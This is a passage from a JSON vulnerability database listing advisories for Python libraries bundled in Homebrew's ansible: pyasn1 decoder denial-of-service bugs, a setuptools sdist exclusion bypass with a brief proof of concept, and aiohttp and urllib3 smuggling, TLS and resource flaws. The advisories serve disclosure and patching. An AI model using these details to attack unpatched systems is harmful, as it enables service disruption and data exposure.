ange_state":"fixed","upstream_fixed_in":"0.6.4","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.5","key":"pkg:pypi/pyasn1@0.6.5","resource":"pyasn1"}]},"summary":"pyasn1 BER/CER/DER decoder denial of service via unbounded long-form tag IDs","details":"### Impact\nThe BER decoder (shared by the CER and DER codecs) parses long-form tags by accumulating continuation octets in a loop with no upper bound on the size of the tag ID. A crafted input can force the decoder to build an arbitrarily large integer, with CPU cost growing quadratically in input size — a ~1 MB input consumes over a minute of CPU. On Python 3.11+, the oversized tag ID can also trigger an unhandled `ValueError` (integer string conversion limit) while the decoder formats error messages, violating the documented `PyAsn1Error` contract and potentially bypassing caller error handling.\n\nAny application decoding untrusted BER/CER/DER input is affected.\n\n### Affected components\n- `pyasn1.codec.ber.decoder` — `decode()` and `StreamingDecoder`\n- `pyasn1.codec.cer.decoder` and `pyasn1.codec.der.decoder`, which inherit\n  the same tag parsing\n- `pyasn1.type.tag` — `Tag`/`TagSet` reprs could raise `ValueError` when\n  rendering oversized tag IDs (reachable through decoder error paths)\n\nThe encoders and the `pyasn1.codec.native` codec are not affected.\n\n### Patches\nFixed in 0.6.4. Long-form tag IDs are now limited to 20 octets (140-bit tag IDs, matching the existing OID arc limit); oversized tags are rejected with `PyAsn1Error`. Tag ID rendering in reprs and error messages was additionally hardened against the interpreter's integer-to-string conversion limit.\n\n### Workarounds\nBound the size of untrusted input passed to `decode()` before calling it.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-m4p7-r5rc-7g4j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59884"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/628e36ecbb5277a3f01572ce418ef54271b165a5"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-3455.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-59885","published":"2026-08-13T16:35:22Z","modified":"2026-10-31T18:52:28Z","upstream":["GHSA-8ppf-4f7h-5ppj","CVE-2026-59885","PYSEC-2026-3456"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.2"},{"fixed":"14.1.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.6.4","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.5","key":"pkg:pypi/pyasn1@0.6.5","resource":"pyasn1"}]},"summary":"pyasn1: Quadratic complexity in OBJECT IDENTIFIER and RELATIVE-OID processing allows denial of service","details":"### Impact\nThe BER/CER/DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A small crafted payload (tens of kilobytes) containing an OID with many arcs consumes seconds of CPU per decode() call, allowing denial of service in any application that decodes untrusted ASN.1 data (certificates, LDAP, SNMP, Kerberos, etc.). The corresponding encoders have the same quadratic behavior, reachable when an application re-encodes previously decoded attacker-supplied values.\n\nThe arc-size limit introduced for CVE-2026-23490 bounds the byte length of an individual arc but not the number of arcs, so it does not mitigate this issue.\n\n### Affected components\nObjectIdentifierPayloadDecoder and RelativeOIDPayloadDecoder in pyasn1/codec/ber/decoder.py; ObjectIdentifierEncoder and RelativeOIDEncoder in pyasn1/codec/ber/encoder.py. The CER and DER codecs inherit these and are equally affected.\n\n### Patches\nFixed in pyasn1 0.6.4: arc accumulation in both decoders and encoders now runs in linear time.\n\n### Workarounds\nLimit the size of untrusted ASN.1 input before decoding.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-8ppf-4f7h-5ppj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59885"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/45bdb19eb7df4b3780fe9c912c63e99bffc39dd9"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-59886","published":"2026-08-13T16:35:22Z","modified":"2026-10-31T18:52:28Z","upstream":["GHSA-hm4w-wwcw-mr6r","CVE-2026-59886","PYSEC-2026-3457"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.2"},{"fixed":"14.1.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.6.4","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.5","key":"pkg:pypi/pyasn1@0.6.5","resource":"pyasn1"}]},"summary":"pyasn1: Uncontrolled resource consumption when converting decoded REAL values","details":"### Impact\nThe univ.Real type converted its (mantissa, base, exponent) value to a Python float using exact big-integer exponentiation. A BER/CER/DER-encoded REAL value only a few bytes long can carry a very large exponent, causing this computation to attempt to materialize an astronomically large integer.\n\nAny operation that triggers float conversion on such a decoded value — prettyPrint(), str(), comparison, arithmetic, or an explicit float() call — consumes excessive CPU and memory, hanging the process. Applications that decode untrusted ASN.1 data and then print, log, or compare the decoded objects are vulnerable to denial of service. Decoding alone does not trigger the issue.\n\n### Affected components\n- pyasn1.type.univ.Real — float conversion (__float__() and everything built on it: prettyPrint(), str(), comparisons, arithmetic, int())\n- Reachable through the pyasn1.codec.ber, cer, and der decoders, which produce Real objects from untrusted input; also via directly constructed Real values\n\nThe encoders and the native codec are not affected. Applications that never handle ASN.1 REAL values are not affected.\n\n### Patches\nFixed in pyasn1 0.6.4. Binary (base-2) values are now converted with math.ldexp(), and decimal (base-10) values with exponents beyond float range raise OverflowError without constructing huge intermediate integers. Existing behavior is preserved: out-of-range values raise OverflowError and prettyPrint() renders them as <overflow>.\n\n### Workarounds\nAvoid converting, printing, or comparing decoded Real objects from untrusted sources; inspect the raw (mantissa, base, exponent) tuple instead.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-hm4w-wwcw-mr6r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59886"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/e60c691cb91addb8fcefa2f537e85ede6fb1e886"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-59890","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:32:40Z","upstream":["GHSA-h35f-9h28-mq5c","BIT-setuptools-2026-59890","CVE-2026-59890","PYSEC-2026-3447"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.1.0"},{"fixed":"2.1.2.0"},{"introduced":"9.2.0"},{"fixed":"14.1.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"83.0.0","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@84.2.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"84.2.1","key":"pkg:pypi/setuptools@84.2.1","resource":"setuptools"}]},"summary":"setuptools: MANIFEST.in exclusion bypass in sdist via Unicode normalization collision (NFC/NFD) on macOS APFS/HFS+","details":"## Summary\n\nWhen building a source distribution (`python -m build --sdist` / `setup.py sdist`), setuptools' `FileList` applies `MANIFEST.in` directives (`exclude`, `global-exclude`, `recursive-exclude`, `prune`) by matching a compiled glob against on-disk file names **byte-for-byte, with no Unicode normalization**. On normalization-preserving filesystems (notably macOS APFS and HFS+), a file written in NFD and a `MANIFEST.in` rule written in NFC refer to the same file but are byte-distinct, so the exclusion silently fails to match. A file the maintainer intended to exclude is then packed into the `.tar.gz` and, if published, uploaded to the public, immutable PyPI index.\n\n## Details\n\nFile names in `FileList.files` come from `os.walk` (`setuptools/_distutils/filelist.py`, `_find_all_simple`), so on APFS a file written NFD is offered to the matcher in NFD, while the `MANIFEST.in` pattern carries the author's editor form (typically NFC). The matching path performs no canonicalization:\n\n```python\n# setuptools/command/egg_info.py  (FileList.global_exclude)\ndef global_exclude(self, pattern):\n    match = translate_pattern(os.path.join('**', pattern))   # fnmatch.translate -> regex, no NFC/NFD\n    return self._remove_files(match.match)                   # byte-level regex over raw os.walk names\n```\n\nA rule written NFC (`café` = `63 61 66 c3 a9`) does not match an on-disk name written NFD (`café` = `63 61 66 65 cc 81`), even though the filesystem treats the two as one file.\n\nA `unicodedata.normalize('NFD', ...)` helper exists in `setuptools/unicode_utils.py` (`decompose()`), but it is **never called in the manifest matching path**, so neither the pattern nor the walked path is normalized before matching. The only normalization in this area, `EggInfoCommand._manifest_normalize`, uses `filesys_decode` (bytes→str decode only, no NFC/NFD) and runs when writing `SOURCES.txt`, after matching has already occurred.\n\n## Impact\n\n`MANIFEST.in` exclusions are the documented mechanism maintainers use to keep secrets, local configs, and private fixtures out of the published sdist. A non-ASCII excluded file may be published to the public, immutable PyPI index despite the rule — an irreversible disclosure with no visual cue (NFC and NFD forms render identically). Exposure is filesystem-dependent and most relevant on macOS APFS/HFS+, where many maintainers build and publish. Pure-ASCII rules are unaffected.\n\n## Proof of concept\n\nWith a project containing `MANIFEST.in`:\n\n```\nglobal-include *.txt *.json\nglobal-exclude secret_café.txt    # rule saved NFC\n```\n\nand an on-disk file `secret_café.txt` written in NFD, `python -m build --sdist` packs the secret file into the resulting `.tar.gz`, while an ASCII control file excluded by the same directive is correctly dropped — isolating the bypass to the NFC-pattern vs. NFD-name mismatch. Reproduced on macOS APFS with setuptools 82.0.1.\n\n## Remediation\n\nNormalize both the walked path and each `MANIFEST.in` pattern to a single canonical form before matching, in both `setuptools/command/egg_info.py` (`FileList`) and the vendored `setuptools/_distutils/filelist.py`. For an exclusion list, err toward excluding more, and document that `MANIFEST.in` matching is normalization-insensitive on macOS.\n\n## Credit\n\nReported by Tomas Illuminati. Coordinated via CERT/CC VINCE VU#604762.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/pypa/setuptools/security/advisories/GHSA-h35f-9h28-mq5c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59890"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/dd9f436a36486b4cb8a4c70a2321548b0be09b8f"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/setuptools/PYSEC-2026-3447.yaml"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://github.com/pypa/setuptools/releases/tag/v83.0.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-69243","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-mfx4-hv73-q22v","CVE-2026-69243","PYSEC-2026-3546"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.2.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: HTTP request smuggling via WebSocket upgrade","details":"### Summary\n\nThe HTTP parsers were vulnerable to a request smuggling attack relating to WebSocket upgrades.\n\n### Impact\n\nIf using the server-side component, it may be possible for an attacker to execute a request smuggling vulnerability using an edge case in the WebSocket upgrade procedure. AIOHTT is unaware of any public exploit code.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/6ae358f0983c3f4d6f67692b2f8e65dc8e091c98","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mfx4-hv73-q22v"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13017"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6ae358f0983c3f4d6f67692b2f8e65dc8e091c98"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.2"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-69244","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-cq5v-8q36-5273","CVE-2026-69244","PYSEC-2026-3545"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.2.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.3","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: Out-of-bounds heap read in C HTTP response parser error path (malformed chunked response)","details":"### Summary\n\nAn out-of-bounds heap read could occur in the C response parser while building an error message for a malformed response.\n\n### Impact\n\nAn attacker controlled server, or possibly an accidental response could trigger a DoS in the client.\n\n### Workaround\n\nIf unable to upgrade, the Python parser is unaffected and can be used with `AIOHTTP_NO_EXTENSIONS=1`.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-cq5v-8q36-5273"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13223"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-97687","published":"2026-09-30T18:44:09Z","modified":"2026-10-02T08:50:21Z","upstream":["GHSA-8988-9cw3-xx77","CVE-2026-97687","PYSEC-2026-4175"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.3"},{"fixed":"14.4.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: HTTPS proxy TLS configuration may be ignored or overridden","details":"## Impact\n\nurllib3 supports configuring TLS independently for an HTTPS proxy and the target server.\n\n`proxy_ssl_context`, `proxy_assert_hostname`, and `proxy_assert_fingerprint` configure the TLS connection to the proxy. `ssl_context` and the other target-specific TLS parameters configure the connection to the target server.\n\nIn urllib3 versions 1.26.0 through 2.7.0, these configurations were not consistently separated. Depending on the proxy mode, urllib3 could:\n\n1. Ignore `proxy_ssl_context` and use the target server's SSL context for the TLS connection to an HTTPS forwarding proxy.\n2. Override the HTTPS proxy's certificate-verification policy with the target server's certificate-verification policy.\n3. Apply target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials to the TLS connection to an HTTPS forwarding proxy.\n\nIn particular, configuring `cert_reqs=\"CERT_NONE\"` for a target server could overwrite the `verify_mode` of the SSL context configured for the HTTPS proxy. This modification occurred in place and persisted on the context object, potentially disabling proxy certificate verification for later connections that reused the same context.\n\nAn attacker able to intercept the connection to an HTTPS proxy may be able to impersonate the proxy when the effective proxy TLS configuration disables certificate verification or otherwise accepts the attacker's certificate. This may occur, for example, when the target server's trust or identity policy is incorrectly applied to the proxy connection.\n\nWhen HTTPS forwarding is enabled, an impersonated proxy can observe or modify forwarded requests and responses, potentially exposing credentials, authentication tokens, request bodies, response data, and other sensitive information.\n\nA TLS client certificate intended for the target server may also be presented to the proxy or to an attacker impersonating it. This can disclose the client's identity and provide proof of possession of the corresponding private key. The private key itself is not transmitted during the TLS handshake.\n\nIn CONNECT tunneling mode, impersonating the HTTPS proxy does not by itself defeat the separate end-to-end TLS connection between the client and the target server.\n\n## Affected Usages\n\nCode using urllib3 versions 1.26.0 through 2.7.0 may be affected in any of the following cases.\n\n### 1. The target SSL context is used for an HTTPS forwarding proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and `proxy_ssl_context` is configured for the proxy.\n\nurllib3 may ignore `proxy_ssl_context` and use the target server's `ssl_context` for the proxy TLS handshake. The proxy may therefore be verified using the target server's trust and certificate policy instead of the policy explicitly configured for the proxy.\n\n### 2. The target verification policy overrides the proxy policy\n\nAn HTTPS proxy is configured with `proxy_ssl_context`, while the target server uses a different certificate-verification policy.\n\nurllib3 may apply the target server's `cert_reqs` value to the proxy SSL context. For example, setting `cert_reqs=\"CERT_NONE\"` for the target server may also disable certificate verification for the HTTPS proxy, even when `proxy_ssl_context` was configured to require verification.\n\nThis issue can affect the TLS connection to an HTTPS proxy in both forwarding and CONNECT tunneling configurations.\n\n### 3. A mutated proxy SSL context is reused\n\nThe same SSL context is reused as `proxy_ssl_context` across multiple connections, and certificate verification is disabled for one target server.\n\nurllib3 may modify the proxy SSL context's `verify_mode` in place. Later connections that reuse the same context may therefore connect to the HTTPS proxy without certificate verification.\n\n### 4. Target-specific TLS identity or credentials are applied to the proxy\n\nHTTPS requests are forwarded through an HTTPS proxy with `use_forwarding_for_https=True`, and target-specific SNI, hostname assertions, certificate fingerprint assertions, or TLS client credentials are configured.\n\nurllib3 may apply these target-specific settings to the proxy TLS handshake. This may cause urllib3 to:\n\n- send SNI intended for the target server to the proxy;\n- verify the proxy using a hostname or certificate fingerprint intended for the target server; or\n- present a TLS client certificate intended for the target server to the proxy.\n\nCode connecting through a plain HTTP proxy does not establish a TLS connection to the proxy and is not affected by this issue.\n\n## Remediation\n\nUpgrade to urllib3 2.8.0 or later.\n\nurllib3 2.8.0 independently applies the explicitly configured `proxy_ssl_context` and proxy-specific certificate assertions to the HTTPS proxy connection. Target-specific SNI, certificate assertions, and TLS client certificate parameters are no longer applied to the HTTPS proxy handshake.\n\nFor backward compatibility, when an HTTPS proxy is used with `use_forwarding_for_https=True` and `proxy_ssl_context` is not provided, urllib3 2.8.0 continues to use `ssl_context` for the TLS connection to the proxy. This configuration emits a `FutureWarning`. In urllib3 3.0, passing `ssl_context` with `use_forwarding_for_https=True` for an HTTPS proxy will raise an error. Applications should use `proxy_ssl_context` to configure TLS for an HTTPS forwarding proxy.\n\nThe fixes were implemented in commits b6447295fff7b38fdffc67e0df9712d60cef3cc3 and 07408cec79d1856d81bb42c74a904a24fdb9e465.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-8988-9cw3-xx77"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97687"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/pull/5093"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/07408cec79d1856d81bb42c74a904a24fdb9e465"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/b6447295fff7b38fdffc67e0df9712d60cef3cc3"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-97688","published":"2026-09-30T18:44:09Z","modified":"2026-10-02T08:50:21Z","upstream":["GHSA-gh4c-6fx4-qh6g","CVE-2026-97688","PYSEC-2026-4176"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.2.0_2"},{"fixed":"14.4.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: Chunked Deflate streaming can enter an infinite loop","details":"### Impact\n\nurllib3's streaming API is designed for the efficient handling of large HTTP responses by reading content in chunks instead of loading the entire response body into memory at once.\n\nurllib3 can decompress response bodies according to the HTTP `Content-Encoding` header. When streaming a compressed, chunked response, urllib3 first consumes data already buffered by the decoder before reading the next HTTP chunk.\n\nHowever, urllib3 versions from 2.6.2 through 2.7.0 could enter an infinite loop when a chunked response contained bytes after the end of the Deflate stream. If the decompressed body exceeded the requested streaming chunk size, Python's zlib implementation could retain the trailing bytes as unconsumed input after reaching the end of the compressed stream. urllib3 would repeatedly attempt to decode those same bytes without making progress or reading more data from the network.\n\nA malicious server could exploit this behavior to cause excessive CPU usage and prevent the affected request from completing on the client. Network read timeouts would not interrupt the loop because no further socket operation was required.\n\n### Affected usages\n\nApplications and libraries using urllib3 versions 2.6.2 through 2.7.0 may be affected when all of the following conditions are met:\n\n1. Compressed responses from an untrusted source are streamed using `HTTPResponse.stream(amt=N)` or `HTTPResponse.read_chunked(amt=N)` with a positive, finite chunk size.\n2. Content decoding is enabled.\n3. The response uses both `Transfer-Encoding: chunked` and `Content-Encoding: deflate`.\n4. The decoded body exceeds the requested chunk size and the encoded body contains bytes after the end of the Deflate stream.\n\n`HTTPResponse.stream()` uses a finite chunk size by default and is therefore affected when the other conditions are met.\n\n### Remediation\n\nUpgrade to urllib3 2.8.0, in which the Deflate decoder stops accepting input after reaching the end of the compressed stream and no longer reports trailing bytes as data that can produce more decoded output.\n\nIf upgrading is not immediately possible, disable automatic content decoding for responses from untrusted sources by setting `decode_content=False`, or reject streamed responses using the Deflate content encoding. Applications that disable automatic decoding must handle the compressed response safely at another layer.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gh4c-6fx4-qh6g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97688"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/ea2ad7b21a80da3632f80016526a18864586077f"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-97689","published":"2026-09-30T18:44:09Z","modified":"2026-10-02T08:50:21Z","upstream":["GHSA-vxq7-64xx-v4gw","CVE-2026-97689","PYSEC-2026-4177"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.1.0"},{"fixed":"14.4.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3: HTTPResponse.stream()/read_chunked() buffers an unbounded chunk-size line into memory","details":"## Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for efficiently handling large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When decoding a [chunked-transfer-encoded response](https://httpwg.org/specs/rfc9112.html#chunked.encoding), this API reads each chunk's size field by buffering until it sees `\\n` or EOF.\n\nA malicious HTTP server can return `Transfer-Encoding: chunked` and then send a very long run of bytes without any newline, causing the streaming client to buffer that entire run before urllib3 can reject the chunk size as invalid and allocate more memory than intended.\n\nTo fix the issue, we'll reject chunk-size fields larger than 65536 bytes, as already done in the non-streaming case, which is currently handled by the Python standard library. Note that this only applies to reading the chunk-size field, not the chunk data, which is already handled correctly. Thus, there shouldn't be any impact for non-malicious servers.\n\n## Affected usages\n\nApplications and libraries using urllib3 versions earlier than 2.8.0 may be affected when streaming a chunked response from untrusted sources. Specifically, this affects the [read_chunked()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read_chunked) and [stream()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.stream) methods of the HTTPResponse object.\n\nThis also affects requests streaming API, which uses urllib3 under the hood.\n\n## Remediation\n\nUpgrade to urllib3 version 2.8.0 or later, where chunk-size fields larger than 65536 will be rejected. If upgrading is not immediately possible, consider reading the response at once using the [read()](https://urllib3.readthedocs.io/en/stable/reference/urllib3.response.html#urllib3.response.BaseHTTPResponse.read) method.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-vxq7-64xx-v4gw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97689"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/cd770b059b543be29298ea5c52afb0b1b090f5ed"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.8.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible-GHSA-2g87-pp6c-29x5","published":"2026-10-21T08:48:28Z","modified":"2026-11-10T08:39:29Z","upstream":["GHSA-2g87-pp6c-29x5","CVE-2026-123817"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"aiohttp: Multiple instances of excessive or unbounded memory/CPU use","details":"### Summary\n\nWhile reassembling a WebSocket frame that arrived across many small transport reads, the reader kept one `bytes` object per read with no bound on the count. The per-object overhead is many times larger than the payload bytes, so a frame delivered a few bytes at a time could use far more memory than `max_msg_size` allows.\n\n### Impact\n\nAn attacker could cause excessive memory use in a WebSocket server, or a malicious server against a client, by sending a frame in a large number of tiny 